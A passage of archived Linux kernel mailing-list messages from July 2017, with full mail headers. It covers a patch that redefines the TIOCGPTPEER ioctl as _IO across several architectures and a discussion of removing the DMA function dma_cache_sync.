Original-Received: from mailapp01.imgtec.com ([10.100.180.241])
  by imgpgp01.kl.imgtec.org (PGP Universal service);
  Tue, 11 Jul 2017 12:14:22 +0100
X-PGP-Universal: processed;
        by imgpgp01.kl.imgtec.org on Tue, 11 Jul 2017 12:14:22 +0100
Original-Received: from HHMAIL01.hh.imgtec.org (unknown [10.100.10.19])
        by Forcepoint Email with ESMTPS id A476DEFDD033A;
        Tue, 11 Jul 2017 11:03:41 +0100 (IST)
Original-Received: from localhost (192.168.154.110) by HHMAIL01.hh.imgtec.org
 (10.100.10.21) with Microsoft SMTP Server (TLS) id 14.3.294.0; Tue, 11 Jul
 2017 11:03:44 +0100
Content-Disposition: inline
In-Reply-To: <20170711001207.GA11642@glebfm.cloud.tilaa.com>
X-Originating-IP: [192.168.154.110]
X-ESG-ENCRYPT-TAG: 1b7d744b
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:38239 gmane.linux.kernel:2520711 gmane.linux.ports.alpha:4353 gmane.linux.ports.mips.general:60308 gmane.linux.ports.parisc:27556 gmane.linux.ports.ppc64.devel:144636 gmane.linux.ports.sh.devel:55690 gmane.linux.ports.sparc:25854
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/38239>

--Zfao1/4IORAeFOVj
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Tue, Jul 11, 2017 at 03:12:17AM +0300, Gleb Fotengauer-Malinovskiy wrote:
> This ioctl does nothing to justify an _IOC_READ or _IOC_WRITE flag
> because it doesn't copy anything from/to userspace to access the
> argument.
>=20
> Fixes: 54ebbfb1 ("tty: add TIOCGPTPEER ioctl")

I think its recommended these days to include at least 12 nibbles of
commit hash, i.e.

Fixes: 54ebbfb16034 ("tty: add TIOCGPTPEER ioctl")

(consider setting your git default to 12 with this):
git config core.abbrev 12

Cheers
James

> Signed-off-by: Gleb Fotengauer-Malinovskiy <glebfm@altlinux.org>
> ---
>  arch/alpha/include/uapi/asm/ioctls.h   | 2 +-
>  arch/mips/include/uapi/asm/ioctls.h    | 2 +-
>  arch/parisc/include/uapi/asm/ioctls.h  | 2 +-
>  arch/powerpc/include/uapi/asm/ioctls.h | 2 +-
>  arch/sh/include/uapi/asm/ioctls.h      | 2 +-
>  arch/sparc/include/uapi/asm/ioctls.h   | 2 +-
>  arch/xtensa/include/uapi/asm/ioctls.h  | 2 +-
>  include/uapi/asm-generic/ioctls.h      | 2 +-
>  8 files changed, 8 insertions(+), 8 deletions(-)
>=20
> diff --git a/arch/alpha/include/uapi/asm/ioctls.h b/arch/alpha/include/ua=
pi/asm/ioctls.h
> index ff67b837..1cd7dc7 100644
> --- a/arch/alpha/include/uapi/asm/ioctls.h
> +++ b/arch/alpha/include/uapi/asm/ioctls.h
> @@ -100,7 +100,7 @@
>  #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
>  #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
>  #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
> -#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
> +#define TIOCGPTPEER	_IO('T', 0x41) /* Safely open the slave */
> =20
>  #define TIOCSERCONFIG	0x5453
>  #define TIOCSERGWILD	0x5454
> diff --git a/arch/mips/include/uapi/asm/ioctls.h b/arch/mips/include/uapi=
/asm/ioctls.h
> index 68e19b6..1609cb0 100644
> --- a/arch/mips/include/uapi/asm/ioctls.h
> +++ b/arch/mips/include/uapi/asm/ioctls.h
> @@ -91,7 +91,7 @@
>  #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
>  #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
>  #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
> -#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
> +#define TIOCGPTPEER	_IO('T', 0x41) /* Safely open the slave */
> =20
>  /* I hope the range from 0x5480 on is free ... */
>  #define TIOCSCTTY	0x5480		/* become controlling tty */
> diff --git a/arch/parisc/include/uapi/asm/ioctls.h b/arch/parisc/include/=
uapi/asm/ioctls.h
> index 674c68a..d0e3321 100644
> --- a/arch/parisc/include/uapi/asm/ioctls.h
> +++ b/arch/parisc/include/uapi/asm/ioctls.h
> @@ -60,7 +60,7 @@
>  #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
>  #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
>  #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
> -#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
> +#define TIOCGPTPEER	_IO('T', 0x41) /* Safely open the slave */
> =20
>  #define FIONCLEX	0x5450  /* these numbers need to be adjusted. */
>  #define FIOCLEX		0x5451
> diff --git a/arch/powerpc/include/uapi/asm/ioctls.h b/arch/powerpc/includ=
e/uapi/asm/ioctls.h
> index bfd609a..e3b1046 100644
> --- a/arch/powerpc/include/uapi/asm/ioctls.h
> +++ b/arch/powerpc/include/uapi/asm/ioctls.h
> @@ -100,7 +100,7 @@
>  #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
>  #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
>  #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
> -#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
> +#define TIOCGPTPEER	_IO('T', 0x41) /* Safely open the slave */
> =20
>  #define TIOCSERCONFIG	0x5453
>  #define TIOCSERGWILD	0x5454
> diff --git a/arch/sh/include/uapi/asm/ioctls.h b/arch/sh/include/uapi/asm=
/ioctls.h
> index eec7901..787bac9 100644
> --- a/arch/sh/include/uapi/asm/ioctls.h
> +++ b/arch/sh/include/uapi/asm/ioctls.h
> @@ -93,7 +93,7 @@
>  #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
>  #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
>  #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
> -#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
> +#define TIOCGPTPEER	_IO('T', 0x41) /* Safely open the slave */
> =20
>  #define TIOCSERCONFIG	_IO('T', 83) /* 0x5453 */
>  #define TIOCSERGWILD	_IOR('T', 84,  int) /* 0x5454 */
> diff --git a/arch/sparc/include/uapi/asm/ioctls.h b/arch/sparc/include/ua=
pi/asm/ioctls.h
> index 6d27398..f5df72b 100644
> --- a/arch/sparc/include/uapi/asm/ioctls.h
> +++ b/arch/sparc/include/uapi/asm/ioctls.h
> @@ -88,7 +88,7 @@
>  #define TIOCGPTN	_IOR('t', 134, unsigned int) /* Get Pty Number */
>  #define TIOCSPTLCK	_IOW('t', 135, int) /* Lock/unlock PTY */
>  #define TIOCSIG		_IOW('t', 136, int) /* Generate signal on Pty slave */
> -#define TIOCGPTPEER	_IOR('t', 137, int) /* Safely open the slave */
> +#define TIOCGPTPEER	_IO('t', 137) /* Safely open the slave */
> =20
>  /* Little f */
>  #define FIOCLEX		_IO('f', 1)
> diff --git a/arch/xtensa/include/uapi/asm/ioctls.h b/arch/xtensa/include/=
uapi/asm/ioctls.h
> index 98b004e..47d82c0 100644
> --- a/arch/xtensa/include/uapi/asm/ioctls.h
> +++ b/arch/xtensa/include/uapi/asm/ioctls.h
> @@ -105,7 +105,7 @@
>  #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
>  #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
>  #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
> -#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
> +#define TIOCGPTPEER	_IO('T', 0x41) /* Safely open the slave */
> =20
>  #define TIOCSERCONFIG	_IO('T', 83)
>  #define TIOCSERGWILD	_IOR('T', 84,  int)
> diff --git a/include/uapi/asm-generic/ioctls.h b/include/uapi/asm-generic=
/ioctls.h
> index 06d5f7d..14baf9f2 100644
> --- a/include/uapi/asm-generic/ioctls.h
> +++ b/include/uapi/asm-generic/ioctls.h
> @@ -77,7 +77,7 @@
>  #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
>  #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
>  #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
> -#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
> +#define TIOCGPTPEER	_IO('T', 0x41) /* Safely open the slave */
> =20
>  #define FIONCLEX	0x5450
>  #define FIOCLEX		0x5451
>=20
> --=20
> glebfm
>=20

--Zfao1/4IORAeFOVj
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCAAdFiEEd80NauSabkiESfLYbAtpk944dnoFAllkonYACgkQbAtpk944
dnr0zA/9HKpKqlgodicAvtqRseBGnkcEEKwmoKGq0rDDYUaoa7kW+9uKE8p2TJE6
jygBer5aCyRXY9z6+l6DYGaY2YxFWoe0mp7gdD49/4Cde+zGH4DX7ePZPnAG+uit
fweeIo9oG2f8Q4hnv6cD9Pi1svYugfZIPz5WuuI7LixlW87RbZONgpJqzgjiuRqv
n+/8HOqMIecu8UzQ940XaRA2YfoEJ4aqTVQXXbcSpcov/C/Jk0gUbch8HSSnuG4Z
UP1my0m61lKjmuIJhRK2lGcCprZfIuZyJmuTZySJjnEwCYChxkUkW1jmHUnoGREI
Go74baDV4H8e2AOmMzSn5wmRoU+evbgmyrSLT+qvvWfUxGYL3cKUg8SzRZLW3yvE
H7+q0gzMuYlAUeyQWxsyfuX28AqyHLgBxkvegO9AgET2QLgmv5S9uRGaGCXP8ct9
002gG6oqkHqB+FS0WI41R7svCx+QgYyxBNxkZPNA5/1VNbJGfMpr16BvOR9ARQO6
GcGnfsB61DcZrJLOHrYIyC5jPbpYyd3f60AU2cencEqiiO0IRmjFNB0Dspmf8CC9
BX5FJGlGgYVSODi8RAbWLWYdmXAKrt6+V0aBGqHOuNclC7TAC4dB02BYynTBRs0/
IFFylTMJwEm41p6tkrTnyG8SgAEK7ZU0SoZjJSpk+hENBUvRKqI=
=qoHc
-----END PGP SIGNATURE-----

--Zfao1/4IORAeFOVj--


From - Thu Nov 08 21:40:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: David Laight <David.Laight@ACULAB.COM>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.ppc64.devel
Subject: RE: [PATCH] tty: Fix TIOCGPTPEER ioctl definition
Date: Tue, 11 Jul 2017 14:23:29 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <063D6719AE5E284EB5DD2968C1650D6DD003758C@AcuExch.aculab.com>
References: <20170711001207.GA11642@glebfm.cloud.tilaa.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="Windows-1252"
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1499783047 27499 195.159.176.226 (11 Jul 2017 14:24:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 11 Jul 2017 14:24:07 +0000 (UTC)
Cc: "linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
        "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
        Valentin Rothberg <vrothberg@suse.com>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
        Arnd Bergmann <arnd@arndb.de>,
        "linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>,
        "linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>,
        "linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        "Dmitry V. Levin" <ldv@altlinux.org>, Jiri Slaby <jslaby@suse.com>,
        "sparclinux@vger.kernel.org" <sparclinux@vger.kernel.org>,
        Christian Brauner <christian.brauner@ubuntu.com>,
        "linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>
To: 'Gleb Fotengauer-Malinovskiy' <glebfm@altlinux.org>,
        Aleksa Sarai <asarai@suse.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jul 11 16:24:00 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dUw4u-0006Qn-0B
	for glk-linux-kernel-3@m.gmane.org; Tue, 11 Jul 2017 16:23:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933117AbdGKOXz convert rfc822-to-8bit (ORCPT
        <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Tue, 11 Jul 2017 10:23:55 -0400
Original-Received: from smtp-out6.electric.net ([192.162.217.195]:52682 "EHLO
        smtp-out6.electric.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932779AbdGKOXv (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 11 Jul 2017 10:23:51 -0400
Original-Received: from 1dUw4a-0005Wv-Vx by out6a.electric.net with emc1-ok (Exim 4.87)
        (envelope-from <David.Laight@ACULAB.COM>)
        id 1dUw4d-0005ms-T9; Tue, 11 Jul 2017 07:23:35 -0700
Original-Received: by emcmailer; Tue, 11 Jul 2017 07:23:35 -0700
Original-Received: from [156.67.243.126] (helo=AcuExch.aculab.com)
        by out6a.electric.net with esmtps (TLSv1:AES128-SHA:128)
        (Exim 4.87)
        (envelope-from <David.Laight@ACULAB.COM>)
        id 1dUw4a-0005Wv-Vx; Tue, 11 Jul 2017 07:23:32 -0700
Original-Received: from ACUEXCH.Aculab.com ([::1]) by AcuExch.aculab.com ([::1]) with
 mapi id 14.03.0123.003; Tue, 11 Jul 2017 15:23:30 +0100
Thread-Topic: [PATCH] tty: Fix TIOCGPTPEER ioctl definition
Thread-Index: AQHS+eU5TVOVgkfTM0KcxVD2Vg8Z7qJOrntA
In-Reply-To: <20170711001207.GA11642@glebfm.cloud.tilaa.com>
Accept-Language: en-GB, en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [10.202.99.200]
X-Outbound-IP: 156.67.243.126
X-Env-From: David.Laight@ACULAB.COM
X-Proto: esmtps
X-Revdns: 
X-HELO: AcuExch.aculab.com
X-TLS: TLSv1:AES128-SHA:128
X-Authenticated_ID: 
X-PolicySMART: 3396946, 3397078
X-Virus-Status: Scanned by VirusSMART (c)
X-Virus-Status: Scanned by VirusSMART (s)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2520853 gmane.linux.kernel.cross-arch:38252 gmane.linux.ports.mips.general:60313 gmane.linux.ports.parisc:27557 gmane.linux.ports.sh.devel:55693 gmane.linux.ports.alpha:4354 gmane.linux.ports.sparc:25857 gmane.linux.ports.ppc64.devel:144647
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2520853>

From: Linuxppc-dev  Gleb Fotengauer-Malinovskiy
> Sent: 11 July 2017 01:12
> This ioctl does nothing to justify an _IOC_READ or _IOC_WRITE flag
> because it doesn't copy anything from/to userspace to access the
> argument.
> 
> Fixes: 54ebbfb1 ("tty: add TIOCGPTPEER ioctl")
...
> -#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
> +#define TIOCGPTPEER	_IO('T', 0x41) /* Safely open the slave */

This is a user API change. When was the ioctl added?

	David



From - Thu Nov 08 21:40:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Aleksa Sarai <asarai@suse.de>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.sparc,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] tty: Fix TIOCGPTPEER ioctl definition
Date: Wed, 12 Jul 2017 00:45:36 +1000
Lines: 27
Approved: news@gmane.org
Message-ID: <a99e301b-05d1-d262-aca2-60e3f3400bc5@suse.de>
References: <20170711001207.GA11642@glebfm.cloud.tilaa.com>
 <063D6719AE5E284EB5DD2968C1650D6DD003758C@AcuExch.aculab.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1499784368 12154 195.159.176.226 (11 Jul 2017 14:46:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 11 Jul 2017 14:46:08 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.1
Cc: "linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
        "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
        Valentin Rothberg <vrothberg@suse.com>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
        Arnd Bergmann <arnd@arndb.de>,
        "linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>,
        "linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>,
        "linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        "Dmitry V. Levin" <ldv@altlinux.org>, Jiri Slaby <jslaby@suse.com>,
        "sparclinux@vger.kernel.org" <sparclinux@vger.kernel.org>,
        Christian Brauner <christian.brauner@ubuntu.com>,
        "linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>
To: David Laight <David.Laight@ACULAB.COM>,
        'Gleb Fotengauer-Malinovskiy' <glebfm@altlinux.org>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-sh-owner@vger.kernel.org Tue Jul 11 16:46:00 2017
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1dUwQD-0002VR-3H
	for glps-linuxsh-dev@m.gmane.org; Tue, 11 Jul 2017 16:45:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933062AbdGKOp5 (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
        Tue, 11 Jul 2017 10:45:57 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:42073 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S933119AbdGKOpz (ORCPT <rfc822;linux-sh@vger.kernel.org>);
        Tue, 11 Jul 2017 10:45:55 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id 8A70DAB43;
        Tue, 11 Jul 2017 14:45:47 +0000 (UTC)
In-Reply-To: <063D6719AE5E284EB5DD2968C1650D6DD003758C@AcuExch.aculab.com>
Content-Language: en-US
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:55694 gmane.linux.kernel.cross-arch:38253 gmane.linux.ports.mips.general:60314 gmane.linux.ports.parisc:27558 gmane.linux.ports.alpha:4355 gmane.linux.kernel:2520890 gmane.linux.ports.sparc:25858 gmane.linux.ports.ppc64.devel:144649
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/55694>

>> Sent: 11 July 2017 01:12
>> This ioctl does nothing to justify an _IOC_READ or _IOC_WRITE flag
>> because it doesn't copy anything from/to userspace to access the
>> argument.
>>
>> Fixes: 54ebbfb1 ("tty: add TIOCGPTPEER ioctl")
> ...
>> -#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
>> +#define TIOCGPTPEER	_IO('T', 0x41) /* Safely open the slave */
> 
> This is a user API change. When was the ioctl added?

It was just pulled this merge window (4.13-rc1).

  % git tag --contains 54ebbfb1603415d9953c150535850d30609ef077
  %

-- 
Aleksa Sarai
Software Engineer (Containers)
SUSE Linux GmbH
https://www.cyphar.com/
--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v3 0/2] [media] videobuf2-dc: Add support for cacheable
        MMAP
Date: Thu, 13 Jul 2017 15:36:00 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <20170713133600.GA24748@lst.de>
References: <CGME20161026085228epcas3p3895ea279d5538750a3b1c59715ad3761@epcas3p3.samsung.com> <1477471926-15796-1-git-send-email-thierry.escande@collabora.com> <f829886e-4842-a500-6b10-9a46e1b763f5@samsung.com> <20170705173327.GD5417@lst.de> <7505cb31-6bd1-7f76-f975-aa5e61e567f0@samsung.com> <20170713132153.GD31807@n2100.armlinux.org.uk>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1499952972 27678 195.159.176.226 (13 Jul 2017 13:36:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 13 Jul 2017 13:36:12 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: Marek Szyprowski <m.szyprowski@samsung.com>,
        Christoph Hellwig <hch@lst.de>,
        Thierry Escande <thierry.escande@collabora.com>,
        Mauro Carvalho Chehab <mchehab@kernel.org>,
        Sakari Ailus <sakari.ailus@iki.fi>,
        linux-media@vger.kernel.org, linux-kernel@vger.kernel.org,
        Pawel Osciak <pawel@osciak.com>,
        Kyungmin Park <kyungmin.park@samsung.com>,
        Hans Verkuil <hverkuil@xs4all.nl>,
        Shuah Khan <shuahkh@osg.samsung.com>,
        linux-parisc@vger.kernel.org, linux-mips@linux-mips.org,
        linux-sh@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: Russell King - ARM Linux <linux@armlinux.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 13 15:36:07 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dVeHe-0001KO-Ch
	for glpp-linux-parisc@m.gmane.org; Thu, 13 Jul 2017 15:35:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751267AbdGMNgE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 13 Jul 2017 09:36:04 -0400
Original-Received: from verein.lst.de ([213.95.11.211]:33965 "EHLO newverein.lst.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751157AbdGMNgC (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 13 Jul 2017 09:36:02 -0400
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
        id AE22E68B02; Thu, 13 Jul 2017 15:36:00 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20170713132153.GD31807@n2100.armlinux.org.uk>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27560 gmane.linux.drivers.video-input-infrastructure:120518 gmane.linux.kernel:2522379 gmane.linux.ports.mips.general:60324 gmane.linux.ports.sh.devel:55695 gmane.linux.ports.ppc64.devel:144762
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27560>

On Thu, Jul 13, 2017 at 02:21:53PM +0100, Russell King - ARM Linux wrote:
> My conclusion of the dma_alloc_noncoherent() and dma_cache_sync() API
> when it was introduced is that it's basically a completely broken
> interface, and I've never seen any point to it.  Maybe some of that is
> because it's badly documented - which in turn makes it badly designed
> (because there's no specification detailing what it's supposed to be
> doing.)
> 
> I'd like to see that thing die...

It's not exactly the best interface ever, so any improvement is welcome.

I've posted a series to kill dma_alloc_noncoherent in favor of
dma_alloc_attrs a short while ago, and a big chunk of it should have
made it into 4.12.  I plan to kill it off entirely for 4.13.

That leaves dma_cache_sync() - it's used by 6 drivers:

drivers/net/ethernet/i825xx/lasi_82596.c
drivers/net/ethernet/seeq/sgiseeq.c
drivers/scsi/53c700.c
drivers/scsi/sgiwd93.c
drivers/sh/maple/maple.c
drivers/tty/serial/mpsc.c

Those are used on parisc, mips for a few old SGI systems, the SH
dreamcast and powerpc marvell mv64x60 devices.

So it shouldn't be too hard to figure out if they could be moved
to the normal dma_sync_* calls.

On parisc dma_cache_sync is equivalent to dma_sync_single_for_cpu,
so that should be fine.

On mips the implementation of dma_sync_single_for_cpu is a little
more complicated, but both dma_sync_single_for_cpu and dma_cache_sync
end up calling __dma_sync_virtual, so they look like the same in
the end as well.

On SH sync_single_for_device is implemented using dma_cache_sync,
and there is no dma_sync_single_for_cpu.

On powerpc both dma_sync_single_for_cpu and dma_sync_single_for_device
are implemented using the same primitive as dma_cache_sync.

In short: killing off dma_cache_sync and using the existing and
better defined syncing primitives looks entirely feasible.

I'll add it to my TODO list for 4.13.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: glibc updated
Date: Mon, 17 Jul 2017 07:54:53 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <DFA251E0-F7AD-4F50-8012-13FD30535EC2@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1500292496 27397 195.159.176.226 (17 Jul 2017 11:54:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 17 Jul 2017 11:54:56 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 17 13:54:52 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dX4by-000872-Sg
	for glpp-linux-parisc@m.gmane.org; Mon, 17 Jul 2017 13:54:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751282AbdGQLy4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 17 Jul 2017 07:54:56 -0400
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:55678 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751280AbdGQLy4 (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 17 Jul 2017 07:54:56 -0400
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20170717115454.WGXL19720.torfep02.bell.net@torspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Mon, 17 Jul 2017 07:54:54 -0400
Original-Received: from [192.168.2.25] (really [70.31.74.123]) by torspm01.bell.net
          with ESMTP
          id <20170717115454.MLAB7841.torspm01.bell.net@[192.168.2.25]>;
          Mon, 17 Jul 2017 07:54:54 -0400
X-Mailer: Apple Mail (2.1085)
